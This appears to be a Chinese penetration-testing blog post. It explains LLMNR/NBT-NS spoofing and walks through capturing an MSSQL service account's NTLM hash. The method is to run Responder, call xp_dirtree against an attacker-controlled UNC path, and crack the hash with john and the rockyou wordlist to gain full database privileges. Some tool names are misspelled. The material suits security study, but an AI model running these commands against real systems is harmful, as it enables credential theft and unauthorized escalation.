浅析mssql渗透之XP_dirtree LLMNR/NBT-NS欺骗攻击
LIMNR是什么?
鏈路本地多播名稱(chēng)解析(LIMNR)是一個(gè)基于協(xié)議的域名系統(tǒng)(DNS)數(shù)據(jù)包的格式,使得雙方的IPv4和IPv6的主機(jī)來(lái)執(zhí)行名稱(chēng)解析為同一本地鏈路上的主機(jī),當(dāng)局域網(wǎng)中的DNS服務(wù)器不可用時(shí),DNS客戶(hù)端會(huì)使用LIMNR本地鏈路多播名稱(chēng)解析來(lái)解析本地的主機(jī)名稱(chēng)
NetBIOS是什么?
Netbios(Network Basic Input Output System):網(wǎng)絡(luò)基本輸入輸出系統(tǒng),提供OSI模型中的會(huì)話(huà)層服務(wù),分享數(shù)據(jù),是一種應(yīng)用程序接口API同時(shí)系統(tǒng)可以利用WINS服務(wù)將NetBIOS名解析為相應(yīng)IP地址,局域網(wǎng)都是在NetBIOS協(xié)議的基礎(chǔ)上工作的
當(dāng)dns解析發(fā)送錯(cuò)誤時(shí),LLMNR(鏈路本地多播名稱(chēng)解析)和NBT-NS會(huì)代替解析
????????監(jiān)聽(tīng)LLMNR和NetBIOS協(xié)議的可以使用Metasploit或者Responder工具
Responder工具使用
? ? ? ? 下載地址:Responder下載
? ? ? ? Responder是監(jiān)聽(tīng)LLMNR和NetBIOS協(xié)議的工具之一,能夠抓取網(wǎng)絡(luò)中的所有LLMNR和NetBIOS請(qǐng)求并進(jìn)行響應(yīng),獲取最初的賬戶(hù)憑證,可以利用內(nèi)置SMB,MSSQL,HTTP,DNS,POP3,FTP等服務(wù)器,收集目標(biāo)文件的憑證
responder -h responder -I <網(wǎng)卡> -i <ip地址>記錄一次mssql滲透
? ? ? ? 通過(guò)SMB得到mssql用戶(hù)并且進(jìn)行mssql數(shù)據(jù)庫(kù)登錄,執(zhí)行xp_cmdshell發(fā)現(xiàn)無(wú)權(quán)限開(kāi)啟
? ? ? ? ?發(fā)現(xiàn)可以執(zhí)行擴(kuò)展存儲(chǔ)xq_dirtree
????????配合x(chóng)p_dirtree存儲(chǔ)過(guò)程獲取運(yùn)行mssql服務(wù)的用戶(hù)NTLM的hash值,原理是通過(guò)LLMNR/NBT-NS欺騙攻擊,讓MSSQL去訪(fǎng)問(wèn)我們偽造的服務(wù),當(dāng)MSSQL去執(zhí)行時(shí)就會(huì)把它自己的憑證發(fā)給我們,我們通過(guò)破解它的憑證在返回登錄MSSQL,得到最高權(quán)限具體操作
使用命令responder-I eth0?-i ip地址
回到mssqlclient.py的命令窗口中,執(zhí)行命令xp_dirtree "\\172.16.1.100\test" 然后回到Responder觀察監(jiān)聽(tīng)信息?
?導(dǎo)入一個(gè)文件里面 使用jhon破解
jhon --wordlist=/usr/share/wordlists/rockyou.txt <文件名>
最后破解到密碼重新登錄mssql得到最高權(quán)限
總結(jié)
以上是生活随笔為你收集整理的浅析mssql渗透之XP_dirtree LLMNR/NBT-NS欺骗攻击的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: IIC总线电阻/电容的计算
- 下一篇: 截图